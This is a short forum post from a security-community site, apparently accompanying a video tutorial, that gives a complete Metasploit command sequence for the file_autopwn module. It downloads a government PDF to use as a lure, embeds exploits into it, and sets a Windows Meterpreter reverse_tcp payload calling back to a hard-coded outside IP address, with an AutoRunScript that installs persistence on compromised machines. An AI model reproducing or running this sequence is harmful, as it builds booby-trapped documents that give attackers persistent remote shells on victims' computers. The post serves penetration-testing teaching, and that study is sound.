Metasploit auxilary file_autopwn module - Video Tutorial
http://www.backtrack-linux.org/forums/backtrack-videos/1843-metaspl...


rm -Rf /tmp/1
mkdir /tmp/1
rm -Rf ~/.msf3

wget -O /tmp/file3.pdf https://www1.nga.mil/Newsroom/PressReleases/Press%20Releases/nga10_...

./msfconsole

db_driver sqlite3
db_create pentest11
# setting the LHOST to non IP can cause issues
setg LHOST 75.139.158.51
setg LPORT 21
# I just need the files I dont care if the http server ever runs ..
setg SRVPORT 21
# defualt is 3333
setg LPORT_WIN32 21

setg INFILENAME /tmp/file3.pdf


use auxiliary/server/file_autopwn

set OUTPATH /tmp/1

set URIPATH /msf
set SSL true
set ExitOnSession false
set PAYLOAD windows/meterpreter/reverse_tcp
setg PAYLOAD windows/meterpreter/reverse_tcp
set AutoRunScript persistence -r 75.139.158.51 -p 21 -A -X -i 30


run



Views: 24

Reply to This

Latest Activity

Profile Icon
kranthi is now a member of Dissecting The Hack yesterday
Profile Icon
Christopher Westman is now a member of Dissecting The Hack Monday
Profile Icon
In chat but mostly AFK, sorry.
Status posted by Faraday Feb 2
Profile Icon
chatting up with friends
Status posted by Leon van der Eijk Feb 2

© 2012   Created by Marcus J. Carey.   Powered by .

Badges  |  Report an Issue  |  Terms of Service